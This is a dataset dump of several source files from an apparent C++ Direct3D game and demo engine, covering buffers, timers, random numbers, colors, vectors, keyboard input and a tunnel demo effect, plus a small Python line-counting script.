Keyboard());\r\n\t}\r\n\treturn keyboard;\r\n}\r\n\r\nMousePtr Input::getMouse()\r\n{\r\n\tif(!mouse)\r\n\t{\r\n\t\tLOG(\"Creating Mouse...\");\r\n\t\tmouse = MousePtr(new Mouse());\r\n\t}\r\n\treturn mouse;\r\n}\r\n\r\nbool Input::process(HWND hWnd, UINT message, WPARAM wParam, LPARAM lParam)\r\n{\r\n\tbool keyboard_result = false;\r\n\tbool mouse_result = false;\r\n\r\n\tif(keyboard)\r\n\t\tkeyboard_result = keyboard->process(hWnd, message, wParam, lParam);\r\n\tif(keyboard_result)\r\n\t\treturn true;\r\n\r\n\tif(mouse)\r\n\t\tmouse_result = mouse->process(hWnd, message, wParam, lParam);\r\n\tif(mouse_result)\r\n\t\treturn true;\r\n\r\n\treturn false;\r\n}\r\n\r\n} // namespace" }, { "alpha_fraction": 0.5147826075553894, "alphanum_fraction": 0.5199999809265137, "avg_line_length": 29.94444465637207, "blob_id": "9d5aff14e26e35f6368ce39b9fa5271055be89cc", "content_id": "8d4f1d105a13e53f03509f2f734665abfbe54adf", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 1150, "license_type": "no_license", "max_line_length": 82, "num_lines": 36, "path": "/tools/count_lines.py", "repo_name": "tectronics/cvekas", "src_encoding": "UTF-8", "text": "from __future__ import with_statement\r\nimport os, re\r\nimport sys\r\n\r\n# '/' works in windows to, it just looks weird between all '\\'\r\nif sys.platform == \"win32\":\r\n separator = '\\\\'\r\nelse:\r\n separator = '/'\r\n\r\n# modify this regexp to support more file formats\r\nfileexp = re.compile(\"\\S+\\.(c|cpp|h|hpp|cs|fx|py|java|asm|s)\\Z\")\r\ndontcountexp = re.compile(\".*?DONTCOUNT.*\")\r\ntotallines = 0\r\n\r\nfor root, dirs, files in os.walk(''):\r\n if root == '':\r\n path = '.' + separator\r\n else:\r\n path = root + separator\r\n\r\n for file in files:\r\n if fileexp.match(file) != None:\r\n with open(path + file) as f:\r\n # Skip counting lines if there is DONTCOUNT in first line.\r\n if dontcountexp.match(f.readline()) == None:\r\n # We've already read one line by matching it to dountcountexp.\r\n lines = 1\r\n for line in f:\r\n lines += 1\r\n else:\r\n lines = 0\r\n print path + file + \" : \"+ str(lines)\r\n totallines += lines\r\nprint \"Total lines: \" + str(totallines)\r\ninput()\r\n" }, { "alpha_fraction": 0.7145748734474182, "alphanum_fraction": 0.7226720452308655, "avg_line_length": 24.03508758544922, "blob_id": "1a8394a32fbe3eb6f0a742ca8c634e28b8f39e09", "content_id": "762deaf63e209b3b21d71e040379e7d8a9170156", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "C++", "length_bytes": 1482, "license_type": "no_license", "max_line_length": 101, "num_lines": 57, "path": "/source/IndexBuffer.h", "repo_name": "tectronics/cvekas", "src_encoding": "UTF-8", "text": "#ifndef INDEXBUFFER_H\r\n#define INDEXBUFFER_H\r\n\r\n#include \"GpuBuffer.h\"\r\n\r\nnamespace Cvekas {\r\n\r\nclass GpuBufferManager;\r\n\r\n/// Index buffer\r\nclass IndexBuffer : public GpuBuffer\r\n{\r\npublic:\r\n\t/// Constructor. You shouldn't construct IndexBuffer yourself, GpuBufferManager does this.\r\n\tIndexBuffer(ResourceId id, D3DDevicePtr _device, const std::string& name, \r\n\t\tbool sixteen_bits, uint indice_count, bool is_dynamic);\r\n\r\n\t/// Destructor\r\n\tvirtual ~IndexBuffer();\r\n\r\n\t/// Is index buffer locked?\r\n\tvirtual bool isLocked() const;\r\n\r\n\t/// Locks index buffer. Throws Exception if buffer is already locked.\r\n\t/// \\param read_only Pass true if no writing to locked buffer will be done, it improves performance.\r\n\tvirtual LockedBuffer lock(bool read_only);\r\n\t/// Unlocks locked buffer. Throws Exception if buffer is not locked.\r\n\tvirtual void unlock();\r\n\r\n\t/// Returns number of indices in buffer\r\n\tint getIndexCount() const;\r\n\t/// Returns true if indices is 16 bit and false if 32 bit\r\n\tbool isSixteenBits() const;\r\n\r\n\t/// Returns pointer to IDirect3DIndexBuffer9\r\n\tIDirect3DIndexBuffer9* getD3DIndexBuffer() const;\r\n\r\n\t/// You shouldn't call this\r\n\tvirtual void onDeviceLost();\r\n\t/// You shouldn't call this\r\n\tvirtual void onDeviceReset();\r\n\r\nprivate:\r\n\tvoid create();\r\n\r\n\tconst uint indice_count;\r\n\tconst bool sixteen_bits;\r\n\tbool is_locked;\r\n\tDWORD usage;\r\n\tIDirect3DIndexBuffer9* index_buffer;\r\n};\r\n\r\ntypedef boost::shared_ptr<IndexBuffer> IndexBufferPtr;\r\n\r\n} // namespace\r\n\r\n#endif" }, { "alpha_fraction": 0.7218044996261597, "alphanum_fraction": 0.7218044996261597, "avg_line_length": 14.875, "blob_id": "4f328ff21cff36550930868b212c4764783436cd", "content_id": "473fcdb86c550f645f3466271e7b0c865920f523", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "C++", "length_bytes": 133, "license_type": "no_license", "max_line_length": 34, "num_lines": 8, "path": "/apps/Celerity/Textgen.h", "repo_name": "tectronics/cvekas", "src_encoding": "UTF-8", "text": "#ifndef TEXTGEN_H\r\n#define TEXTGEN_H\r\n\r\nvoid textgenInit();\r\nvoid textgenReseed(uint word_idx);\r\nstd::string textgenWord();\r\n\r\n#endif" }, { "alpha_fraction": 0.710869550704956, "alphanum_fraction": 0.720652163028717, "avg_line_length": 20.487804412841797, "blob_id": "c2b7c751a36d02d5e443ec923c3598188b5069f3", "content_id": "ae3f882b4c762fbe4d5aeff14834a0163f3fcb29", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "C++", "length_bytes": 920, "license_type": "no_license", "max_line_length": 109, "num_lines": 41, "path": "/source/RenderTarget.h", "repo_name": "tectronics/cvekas", "src_encoding": "UTF-8", "text": "#ifndef RENDERTARGET_H\r\n#define RENDERTARGET_H\r\n\r\n#include \"Texture2D.h\"\r\n\r\nnamespace Cvekas {\r\n\r\n// TODO: mipmap support\r\n// TODO: usage as displacement map\r\n// TODO: different depth/stencil support\r\n// TODO: antialiasing support\r\n\r\n/// Texture which can be rendered to\r\nclass RenderTarget: public Texture2D\r\n{\r\npublic:\r\n\t/// Constructor for render target. You shouldn't construct %RenderTarget yourself, TextureManager does this.\r\n\tRenderTarget(ResourceId id, D3DDevicePtr device, const std::string& name, uint width, uint heigh,\r\n\t\tD3DFORMAT format);\r\n\r\n\t/// Destructor\r\n\tvirtual ~RenderTarget();\r\n\r\n\tIDirect3DSurface9* getD3DSurface();\r\n\r\n\t/// You shouldn't call this\r\n\tvirtual void onDeviceLost();\r\n\t/// You shouldn't call this\r\n\tvirtual void onDeviceReset();\r\n\r\nprivate:\r\n\tvoid create();\r\n\r\n\tIDirect3DSurface9* rt_surface;\r\n};\r\n\r\ntypedef boost::shared_ptr<RenderTarget> RenderTargetPtr;\r\n\r\n} // namespace\r\n\r\n#endif" }, { "alpha_fraction": 0.6622260212898254, "alphanum_fraction": 0.6759776473045349, "avg_line_length": 20.180952072143555, "blob_id": "a16592b5dd073703ea8134c1c46c63d98ca5a201", "content_id": "3f88e88be82ed981168a58029661a97823b14934", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "C++", "length_bytes": 2327, "license_type": "no_license", "max_line_length": 93, "num_lines": 105, "path": "/source/Timer.h", "repo_name": "tectronics/cvekas", "src_encoding": "UTF-8", "text": "#ifndef TIMER_H\r\n#define TIMER_H\r\n\r\nnamespace Cvekas {\r\n\r\n/// \\brief Accurate time value\r\n///\r\n/// Denotes time when Timer::getTimeStamp was called. \r\n/// Guaranteed accuracy of 1 microsecond.\r\nclass TimeStamp : public boost::totally_ordered<TimeStamp>, public boost::additive<TimeStamp>\r\n{\r\npublic:\r\n\tTimeStamp() : value(0LL) {};\r\n\tTimeStamp(const TimeStamp& t) : value(t.value) {}\r\n\t\r\n\tinline const TimeStamp& operator=(const TimeStamp& t) \r\n\t{ \r\n\t\tvalue = t.value; \r\n\t\treturn *this; \r\n\t}\r\n\r\n\tinline bool operator==(const TimeStamp& t) const\r\n\t{\r\n\t\treturn value == t.value;\r\n\t}\r\n\r\n\tinline bool operator<(const TimeStamp& t) const\r\n\t{\r\n\t\treturn value < t.value;\r\n\t}\r\n\r\n\tinline const TimeStamp& operator+=(const TimeStamp& t) \r\n\t{\r\n\t\tvalue += t.value;\r\n\t\treturn *this;\r\n\t}\r\n\r\n\tinline const TimeStamp& operator-=(const TimeStamp& t) \r\n\t{\r\n\t\tvalue -= t.value;\r\n\t\treturn *this;\r\n\t}\r\n\r\n\tint toMiliSec()\r\n\t{\r\n\t\treturn int(value / (frequency / 1000LL));\r\n\t}\r\n\r\n\tint64 toMicroSec()\r\n\t{\r\n\t\treturn value / (frequency / 1000000LL);\r\n\t}\r\n\r\nprivate:\r\n\tfriend class Timer;\r\n\r\n\tint64 value;\r\n\tstatic int64 frequency;\r\n};\r\n\r\n/// Provides time information\r\nclass Timer\r\n{\r\npublic:\r\n\t/// Resets Timer back to 00:00. Must be called in the beginning of program.\r\n\tstatic void reset();\r\n\t/// Updates internal variables. Must be called once each frame.\r\n\tstatic void update();\r\n\r\n\t/// Returns number of frames drawn per last second.\r\n\tstatic int getFPS();\r\n\r\n\t/// Returns number of seconds between last frame and this frame. \r\n\t/// Can be used to make framerate-independent animation.\r\n\tstatic float getTimeScale();\r\n\t/// Returns number of milliseconds between last frame and this frame.\r\n\tstatic int getDTimeMs();\r\n\t/// Returns number of milliseconds since last reset() call.\r\n\tstatic int getTimeMs();\r\n\t/// Returns TimeStamp of current moment\r\n\tstatic TimeStamp getTimeStamp();\r\n\r\n\t/// Converts time in milliseconds to string (Ex. 8:16).\r\n\tstatic std::string msToString(int time);\r\n\r\nprivate:\r\n\tstatic int perfCounterToMs(long long time);\r\n\r\n\tstatic int64 perf_frequency;\r\n\tstatic int64 start_time;\r\n\tstatic int64 current_time;\r\n\t\r\n\tstatic int old_time_ms;\r\n\tstatic int current_time_ms;\r\n\tstatic int d_time_ms;\r\n\tstatic float time_scale;\r\n\r\n\tstatic int last_fps_update;\r\n\tstatic int frames_drawn;\r\n\tstatic int fps;\r\n};\r\n\r\n} // namespace\r\n\r\n#endif" }, { "alpha_fraction": 0.666077733039856, "alphanum_fraction": 0.6881625652313232, "avg_line_length": 21.102041244506836, "blob_id": "a060aefaacd2fab775f8928a43f4b60534dd3ff7", "content_id": "aaca4f8bbfd4709544f7362edfa1c6a40b4f6044", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "C++", "length_bytes": 1132, "license_type": "no_license", "max_line_length": 90, "num_lines": 49, "path": "/source/Random.h", "repo_name": "tectronics/cvekas", "src_encoding": "UTF-8", "text": "#ifndef RANDOM_H\r\n#define RANDOM_H\r\n\r\nnamespace Cvekas {\r\n\r\n/// MT19937 based PRNG\r\nclass Random\r\n{\r\npublic:\r\n\t/// Constructor. Chooses seed based on time.\r\n\tRandom();\r\n\t/// Constructor.\r\n\tRandom(uint seed);\r\n\r\n\t// Linear distribution (ranges are inclusive)\r\n\r\n\t/// Returns random unsigned 32 bit integer\r\n\tuint randUInt();\r\n\t/// Returns random unsigned 32 bit integer in specific range\r\n\tuint randUInt(uint low, uint high);\r\n\t/// Returns random 32 bit integer\r\n\tint randInt();\r\n\t/// Returns random unsigned 32 bit integer in specific range\r\n\tint randInt(int low , int high);\r\n\t/// Returns floating point value in specified range\r\n\tfloat randFloat(float low = 0.0f, float high = 1.0f);\r\n\r\n\t// Normal distribution\r\n\r\n\t/// Returns random floating point value in normal distribution with 0 mean and 1 variance\r\n\tfloat normal();\r\n\t/// Returns random floating point value in normal distribution\r\n\tfloat normal(float mean, float variance);\r\n\r\nprivate:\r\n\tvoid init(uint seed);\r\n\tvoid update_state();\r\n\r\n\t// Periods\r\n\tstatic const uint n = 624;\r\n\tstatic const uint m = 397;\r\n\r\n\tuint state[n];\r\n\tuint index;\r\n};\r\n\r\n} // namespace\r\n\r\n#endif\r\n" }, { "alpha_fraction": 0.47743117809295654, "alphanum_fraction": 0.5233027338981628, "avg_line_length": 20.170732498168945, "blob_id": "d31f49447f1347262e3d767960980761f7ccf10c", "content_id": "a896d674d674410fd520f9a9e8813479a8d0bef6", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "C++", "length_bytes": 2725, "license_type": "no_license", "max_line_length": 87, "num_lines": 123, "path": "/source/Colors.h", "repo_name": "tectronics/cvekas", "src_encoding": "UTF-8", "text": "#ifndef COLORS_H\r\n#define COLORS_H\r\n\r\nnamespace Cvekas {\r\n\r\n/// 32 bit color, A8R8G8B8 format\r\nstruct Color : public boost::equality_comparable<Color>, public boost::addable<Color>, \r\n\tpublic boost::subtractable<Color>, public boost::multipliable<Color>\r\n{\r\n\tbyte r, g, b, a;\r\n\r\n\tColor() : r(0), g(0), b(0), a(255) {}\r\n\tColor(byte r, byte g, byte b) : r(r), g(g), b(b), a(255) {}\r\n\tColor(byte r, byte g, byte b, byte a) : r(r), g(g), b(b), a(a) {}\r\n\r\n\tColor(int r, int g, int b) : r((byte)r), g((byte)g), b((byte)b), a((byte)255) {}\r\n\tColor(int r, int g, int b, int a) : r((byte)r), g((byte)g), b((byte)b), a((byte)a) {}\r\n\r\n\tColor(DWORD color)\r\n\t{\r\n\t\ta = (char)((color & 0xFF000000) >> 24);\r\n\t\tr = (char)((color & 0x00FF0000) >> 16);\r\n\t\tg = (char)((color & 0x0000FF00) >> 8);\r\n\t\tb = (char)((color & 0x000000FF));\r\n\t}\r\n\r\n\tinline const Color& operator=(const Color& c) \r\n\t{ \r\n\t\tr = c.r; \r\n\t\tg = c.g;\r\n\t\tb = c.b;\r\n\t\ta = c.a;\r\n\t\treturn *this; \r\n\t}\r\n\r\n\tinline bool operator==(const Color& c) const\r\n\t{\r\n\t\treturn (r == c.r) && (g == c.g) && (b == c.b) && (a == c.a);\r\n\t}\r\n\r\n\tinline const Color& operator+=(const Color& c) \r\n\t{\r\n\t\tr += c.r; \r\n\t\tg += c.g;\r\n\t\tb += c.b;\r\n\t\ta += c.a;\r\n\t\treturn *this;\r\n\t}\r\n\r\n\tinline const Color& operator-=(const Color& c) \r\n\t{\r\n\t\tr -= c.r; \r\n\t\tg -= c.g;\r\n\t\tb -= c.b;\r\n\t\ta -= c.a;\r\n\t\treturn *this;\r\n\t}\r\n\r\n\tinline const Color& operator*=(const Color& c)\r\n\t{\r\n\t\tr = byte(r * c.r / 255); \r\n\t\tg = byte(g * c.g / 255);\r\n\t\tb = byte(b * c.b / 255);\r\n\t\ta = byte(a * c.a / 255);\r\n\t\treturn *this;\r\n\t}\r\n\r\n\tstatic Color lerp(const Color& c1, const Color& c2, float t)\r\n\t{\r\n\t\tColor result;\r\n\t\tresult = c1;\r\n\t\t\r\n\t\tresult.r += byte(float(c2.r - c1.r) * t);\r\n\t\tresult.g += byte(float(c2.g - c1.g) * t);\r\n\t\tresult.b += byte(float(c2.b - c1.b) * t);\r\n\t\tresult.a += byte(float(c2.a - c1.a) * t);\r\n\r\n\t\treturn result;\r\n\t}\r\n\r\n\tstatic Color smoothstep(const Color& c1, const Color& c2, float t)\r\n\t{\r\n\t\tif(t < 0.0f)\r\n\t\t\treturn c1;\r\n\t\tif(t > 1.0f)\r\n\t\t\treturn c2;\r\n\t\treturn lerp(c1, c2, t * t * (3.0f - 2.0f * t));\r\n\t}\r\n\r\n\toperator D3DCOLOR() const\r\n\t{\r\n\t\treturn D3DCOLOR_RGBA(r, g, b, a);\r\n\t}\r\n};\r\n\r\n/// 128 bit floating-point color, values are in range 0.0f - 1.0f\r\nstruct ColorF : public D3DXCOLOR\r\n{\r\n\tColorF() : D3DXCOLOR() {}\r\n\tColorF(float r, float g, float b) : D3DXCOLOR(r, g, b, 1.0f) {}\r\n\tColorF(float r, float g, float b, float a) : D3DXCOLOR(r, g, b, a) {}\r\n\tColorF(const Color& color) : D3DXCOLOR((D3DCOLOR)color) {}\r\n\r\n\toperator Color()\r\n\t{\r\n\t\tint r, g, b, a;\r\n\t\tr = (int)(this->r * 255.0f);\r\n\t\tg = (int)(this->g * 255.0f);\r\n\t\tb = (int)(this->b * 255.0f);\r\n\t\ta = (int)(this->a * 255.0f);\r\n\r\n\t\tr &= 0xFF;\r\n\t\tg &= 0xFF;\r\n\t\tb &= 0xFF;\r\n\t\ta &= 0xFF;\r\n\r\n\t\treturn Color(r, g, b, a);\r\n\t}\r\n};\r\n\r\n} // namespace\r\n\r\n#endif" }, { "alpha_fraction": 0.5688316226005554, "alphanum_fraction": 0.6474962830543518, "avg_line_length": 36.31012725830078, "blob_id": "bdd190b2e5152da64b9e4930d474e5cfe1136f9d", "content_id": "ca496dc5052060a2ccf314e8c2e2876f4bac2863", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "C++", "length_bytes": 6051, "license_type": "no_license", "max_line_length": 133, "num_lines": 158, "path": "/apps/Delirium/Tunnel.cpp", "repo_name": "tectronics/cvekas", "src_encoding": "UTF-8", "text": "#include \"stdafx.h\"\r\n#include \"Tunnel.h\"\r\n\r\n#include \"Filesystem.h\"\r\n\r\nTunnel::Tunnel(Cvekas::RendererPtr renderer, Cvekas::VectorBatchPtr vector_batch)\r\n: renderer(renderer), vector_batch(vector_batch),\r\n camera(Vector3(0.0f, 0.0f, -28.0f), Vector3(0.0f, 0.0f, 1.0f), Vector3(0.0f, 1.0f, 0.0f))\r\n{\r\n}\r\n\r\nTunnel::~Tunnel()\r\n{\r\n}\r\n\r\nvoid Tunnel::init(boost::weak_ptr<Demo> owner)\r\n{\r\n\tthis->owner = owner;\r\n\r\n\tMeshPtr tunnel_mesh = MeshPtr(new Mesh(Filesystem::redirect(\"Tunnel.cmf\")));\r\n\tEffectPtr tunnel_effect = video_device->getEffectManager()->load(\"Tunnel\", Filesystem::redirect(\"Tunnel.fx\"));\r\n\ttunnel_effect->getAutoParams()->addDynamic(\"light1_pos\", &light_pos[0]);\r\n\ttunnel_effect->getAutoParams()->addDynamic(\"light2_pos\", &light_pos[1]);\r\n\ttunnel_effect->getAutoParams()->addDynamic(\"light3_pos\", &light_pos[2]);\r\n\ttunnel_effect->getAutoParams()->addDynamic(\"light_attenuations\", &light_attenuations);\r\n\r\n\ttunnel = RenderableMeshPtr(new RenderableMesh(tunnel_mesh, tunnel_effect, EffectParamsPtr(), 0));\r\n\r\n\tMeshPtr light_mesh = MeshPtr(new Mesh(Filesystem::redirect(\"Light.cmf\")));\r\n\tEffectPtr light_effect = video_device->getEffectManager()->load(\"Light\", Filesystem::redirect(\"Light.fx\"));\r\n\t\r\n\tEffectParamsPtr light1_params = EffectParamsPtr(new EffectParams(light_effect.get()));\r\n\tlight1_params->add(\"light_color\", Vector3(0.8f, 0.1f, 0.1f));\r\n\tEffectParamsPtr light2_params = EffectParamsPtr(new EffectParams(light_effect.get()));\r\n\tlight2_params->add(\"light_color\", Vector3(0.1f, 0.8f, 0.1f));\r\n\tEffectParamsPtr light3_params = EffectParamsPtr(new EffectParams(light_effect.get()));\r\n\tlight3_params->add(\"light_color\", Vector3(0.1f, 0.1f, 0.8f));\r\n\r\n\tfor(uint i = 0; i < trail_length; ++i)\r\n\t{\r\n\t\tlight1[i] = RenderableMeshPtr(new RenderableMesh(light_mesh, light_effect, light1_params, 1));\r\n\t\tlight2[i] = RenderableMeshPtr(new RenderableMesh(light_mesh, light_effect, light2_params, 1));\r\n\t\tlight3[i] = RenderableMeshPtr(new RenderableMesh(light_mesh, light_effect, light3_params, 1));\r\n\r\n\t\t//float scale = smoothstep(0.1f, 0.02f, (float)i/(float)trail_length);\r\n\t\t//light1[i]->setScale(Vector3(scale, scale, scale));\r\n\t\t//light2[i]->setScale(Vector3(scale, scale, scale));\r\n\t\t//light3[i]->setScale(Vector3(scale, scale, scale));\r\n\t}\r\n\r\n\tlight_pos[0] = Vector3(0.0f, 0.0f, 25.0f);\r\n\tlight_pos[1] = Vector3(0.0f, 0.0f, 0.0f);\r\n\tlight_pos[2] = Vector3(0.0f, 0.0f, -25.0f);\r\n\tlight_attenuations = Vector3(1.0f, 1.0f, 1.0f);\r\n\r\n\tfullscreen_rect.push_back(Vector2(0.0f, 0.0f));\r\n\tfullscreen_rect.push_back(Vector2(1024.0f, 0.0f));\r\n\tfullscreen_rect.push_back(Vector2(1024.0f, 576.0f));\r\n\tfullscreen_rect.push_back(Vector2(0.0f, 576.0f));\r\n}\r\n\r\nvoid Tunnel::close()\r\n{\r\n}\r\n\r\nvoid lightSize(float t, float dt, float& l1, float& l2, float& l3)\r\n{\r\n\tl1 = smoothstep(0.0f, 0.1f, transformT(40.3f, 41.3f, t));\r\n\tl2 = smoothstep(0.0f, 0.1f, transformT(42.3f, 43.3f, t));\r\n\tl3 = smoothstep(0.0f, 0.1f, transformT(44.3f, 45.3f, t));\r\n\r\n\tl1 = smoothstep(l1, l1/5.0f, dt * 4.0f);\r\n\tl2 = smoothstep(l2, l2/5.0f, dt * 4.0f);\r\n\tl3 = smoothstep(l3, l3/5.0f, dt * 4.0f);\r\n}\r\n\r\nvoid moveLights(float t, float lights_z, Vector3& light1_pos, Vector3& light2_pos, Vector3& light3_pos)\r\n{\r\n\tlight1_pos = Vector3(2.1f * sin(t) * cos(t/1.9f), 2.1f * cos(t/1.2f) * cos(t/1.5f), lights_z + sin(t/1.3f) * 3.0f); \r\n\tlight2_pos = Vector3(1.8f * cos(t/1.11f) * sin(t/1.2f), 1.8f * sin(t*1.5f) * cos(t/1.4f), lights_z + cos(t/1.4f) * 2.8f);\r\n\tlight3_pos = Vector3(2.1f * sin(t/1.4f+0.3f) * sin(t/1.8f), 2.1f * cos(t/1.6f) * sin(t/1.9f), lights_z + sin(t/1.8f + 0.2f) * 3.1f);\r\n}\r\n\r\nvoid Tunnel::update(float t)\r\n{\r\n\tif(t < 40.5f)\r\n\t{\r\n\t\tfloat alpha = lerp(1.0f, 0.0f, transformT(40.2f, 40.5f, t));\r\n\t\tColor c(255, 255, 255, (int)(alpha * 255.0f));\r\n\t\tvector_batch->drawPolygon(2, fullscreen_rect, c);\r\n\t}\r\n\tif(t > 72.0f)\r\n\t{\r\n\t\tfloat alpha = lerp(0.0f, 1.0f, transformT(72.0f, 74.0f, t));\r\n\t\tColor c(0, 0, 0, (int)(alpha * 255.0f));\r\n\t\tvector_batch->drawPolygon(2, fullscreen_rect, c);\r\n\t}\r\n\tlight_attenuations.x = smoothstep(1.0f, 0.1f, transformT(40.3f, 41.3f, t));\r\n\tlight_attenuations.y = smoothstep(1.0f, 0.1f, transformT(42.3f, 43.3f, t));\r\n\tlight_attenuations.z = smoothstep(1.0f, 0.1f, transformT(44.3f, 45.3f, t));\r\n\r\n\tfloat camera_z = lerp(-50.0f, 10.0f, transformT(40.3f, 65.0f, t));\r\n\tfloat lights_z = lerp(-44.0f, 16.0f, transformT(40.3f, 65.0f, t));\r\n\tfloat tz = transformT(70.0f, 73.0f, t);\r\n\ttz = tz < 0.0f ? 0.0f : tz;\r\n\tlights_z = smoothstep(lights_z, lights_z + 25.0f, tz*tz);\r\n\tmoveLights(t, lights_z, light_pos[0], light_pos[1], light_pos[2]);\t\r\n\r\n\tfor(uint i = 0; i < trail_length; ++i)\r\n\t{\r\n\t\tVector3 l1, l2, l3;\r\n\t\tfloat dt = lerp(0.0f, 0.25f, (float)i/(float)trail_length);\r\n\t\tfloat lights_z = lerp(-44.0f, 16.0f, transformT(40.3f, 65.0f, t-dt));\r\n\t\t\r\n\t\tfloat tz = transformT(70.0f, 73.0f, t-dt);\r\n\t\ttz = tz < 0.0f ? 0.0f : tz;\r\n\t\tlights_z = smoothstep(lights_z, lights_z + 25.0f, tz*tz);\r\n\t\tmoveLights(t-dt, lights_z, l1, l2, l3);\r\n\t\tlight1[i]->setPosition(l1);\r\n\t\tlight2[i]->setPosition(l2);\r\n\t\tlight3[i]->setPosition(l3);\r\n\r\n\t\tfloat s1, s2, s3;\r\n\t\tlightSize(t, dt, s1, s2, s3);\r\n\t\tlight1[i]->setScale(Vector3(s1, s1, s1));\r\n\t\tlight2[i]->setScale(Vector3(s2, s2, s2));\r\n\t\tlight3[i]->setScale(Vector3(s3, s3, s3));\r\n\t}\r\n\r\n\tVector3 camera_pos((sin(t/1.1f)+cos(t/1.2f))*0.7f, cos(t/1.3f)*cos(t/1.4f)*0.7f, camera_z);\r\n\tcamera.setPosition(camera_pos);\r\n\tVector3 camera_target(0.0f, 0.0f, camera_z + 5.0f);\r\n\tcamera.setDirection(camera_target - camera_pos);\r\n}\r\n\r\nvoid Tunnel::render(float t)\r\n{\r\n\t//light1->setPosition(light_pos[0]);\r\n\t//light2->setPosition(light_pos[1]);\r\n\t//light3->setPosition(light_pos[2]);\r\n\r\n\tvideo_device->setClearColor(Color(0, 0, 0));\r\n\tvideo_device->getRenderingParams().setCamera(camera);\r\n\r\n\tvideo_device->beginScene();\r\n\trenderer->prepare(*tunnel);\r\n\tfor(uint i = 0; i < trail_length; ++i)\r\n\t{\r\n\t\trenderer->prepare(*(light1[i]));\r\n\t\trenderer->prepare(*(light2[i]));\r\n\t\trenderer->prepare(*(light3[i]));\r\n\t}\r\n\tvector_batch->present();\r\n\trenderer->render();\r\n\tvideo_device->endScene();\r\n\r\n\trenderer->endFrame();\r\n}" }, { "alpha_fraction": 0.5668534636497498, "alphanum_fraction": 0.6172938346862793, "avg_line_length": 14.878377914428711, "blob_id": "417dcbc0d9ec5cce8720b0012f64e6a3159c7cd8", "content_id": "9d27ed723847dd17dfd64c143942141ae372eea7", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "C++", "length_bytes": 1249, "license_type": "no_license", "max_line_length": 66, "num_lines": 74, "path": "/source/Vector4.h", "repo_name": "tectronics/cvekas", "src_encoding": "UTF-8", "text": "#ifndef VECTOR4_H\r\n#define VECTOR4_H\r\n\r\n#include \"Vector3.h\"\r\n\r\nnamespace Cvekas {\r\n\r\n/// 4D Vector\r\nstruct Vector4 : public D3DXVECTOR4 {\r\npublic:\r\n Vector4();\r\n Vector4(const float* f);\r\n Vector4(const D3DXFLOAT16* f);\r\n Vector4(float x, float y, float z, float w);\r\n Vector4(const D3DXVECTOR4& v);\r\n Vector4(const Vector3& v); // w = 1\r\n\r\n operator D3DXVECTOR4&();\r\n operator const D3DXVECTOR4&() const;\r\n\r\n void set(float vx, float vy, float vz, float vw);\r\n};\r\n\r\n\r\ninline Vector4::Vector4() \r\n\t: \r\nD3DXVECTOR4() \r\n{}\r\n\r\ninline Vector4::Vector4(const float *f) \r\n\t: \r\nD3DXVECTOR4(f) \r\n{}\r\n\r\ninline Vector4::Vector4(const D3DXFLOAT16 *f) \r\n\t: \r\nD3DXVECTOR4(f) {}\r\n\r\ninline Vector4::Vector4(float vx, float vy, float vz, float vw) \r\n\t: \r\nD3DXVECTOR4(vx, vy, vz, vw) \r\n{}\r\n\r\ninline Vector4::Vector4(const D3DXVECTOR4& v) \r\n\t: \r\nD3DXVECTOR4(v) \r\n{}\r\n\r\ninline Vector4::Vector4(const Vector3& v) \r\n\t: \r\nD3DXVECTOR4(v.x, v.y, v.z, 1.0f) \r\n{}\r\n\r\ninline void Vector4::set(float vx, float vy, float vz, float vw ) \r\n{ \r\n\tx=vx; \r\n\ty=vy; \r\n\tz=vz; \r\n\tw=vw; \r\n}\r\n\r\ninline Vector4::operator D3DXVECTOR4&() \r\n{ \r\n\treturn *this; \r\n}\r\n\r\ninline Vector4::operator const D3DXVECTOR4&() const \r\n{ \r\n\treturn *this; \r\n}\r\n\r\n} // namespace\r\n\r\n#endif\r\n" }, { "alpha_fraction": 0.666100263595581, "alphanum_fraction": 0.6703483462333679, "avg_line_length": 16.714284896850586, "blob_id": "7f79cf4afb1b2e9360661ad7b8ca0e0edb2a0417", "content_id": "fbe95f95563f25c9a3cce93fb62b2852319ef64e", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "C++", "length_bytes": 1177, "license_type": "no_license", "max_line_length": 77, "num_lines": 63, "path": "/source/Keyboard.cpp", "repo_name": "tectronics/cvekas", "src_encoding": "UTF-8", "text": "#include \"stdafx.h\"\r\n#include \"Keyboard.h\"\r\n\r\n#include \"Log.h\"\r\n#include \"Exception.h\"\r\n#include \"ErrorHandlers.h\"\r\n#include \"MemUtils.h\"\r\n\r\nnamespace Cvekas {\r\n\r\nKeyboard::Keyboard()\r\n{\r\n\tZeroMemory(&keyboard[0], sizeof(keyboard));\r\n\tZeroMemory(&keyboard_current[0], sizeof(keyboard_current));\r\n\tZeroMemory(&keyboard_last[0], sizeof(keyboard_last));\r\n\r\n\tLOG(\"Keyboard initialized\");\r\n}\r\n\r\nKeyboard::~Keyboard()\r\n{\r\n\tLOG(\"Keyboard destroyed\");\r\n}\r\n\r\nvoid Keyboard::update()\r\n{\r\n\tmemcpy(keyboard_last, keyboard, sizeof(keyboard));\r\n\tmemcpy(keyboard, keyboard_current, sizeof(keyboard));\r\n}\r\n\r\nbool Keyboard::isKeyPressed(Key key) const\r\n{\r\n\treturn keyboard[key];\r\n}\r\n\r\nbool Keyboard::isKeyUp(Key key) const\r\n{\r\n\treturn (keyboard_last[key] && !keyboard[key]);\r\n}\r\n\r\nbool Keyboard::isKeyDown(Key key) const\r\n{\r\n\treturn (!keyboard_last[key] && keyboard[key]);\r\n}\r\n\r\nbool Keyboard::process(HWND hWnd, UINT message, WPARAM wParam, LPARAM lParam)\r\n{\r\n\tswitch(message)\r\n\t{\r\n\tcase WM_KEYDOWN:\r\n\t\tkeyboard_current[wParam & 0xFF] = true;\r\n\t\tbreak;\r\n\tcase WM_KEYUP:\r\n\t\tkeyboard_current[wParam & 0xFF] = false;\r\n\t\tbreak;\r\n\r\n\tdefault:\r\n\t\treturn false;\r\n\t}\r\n\treturn true;\r\n}\r\n\r\n} // namespace" }, { 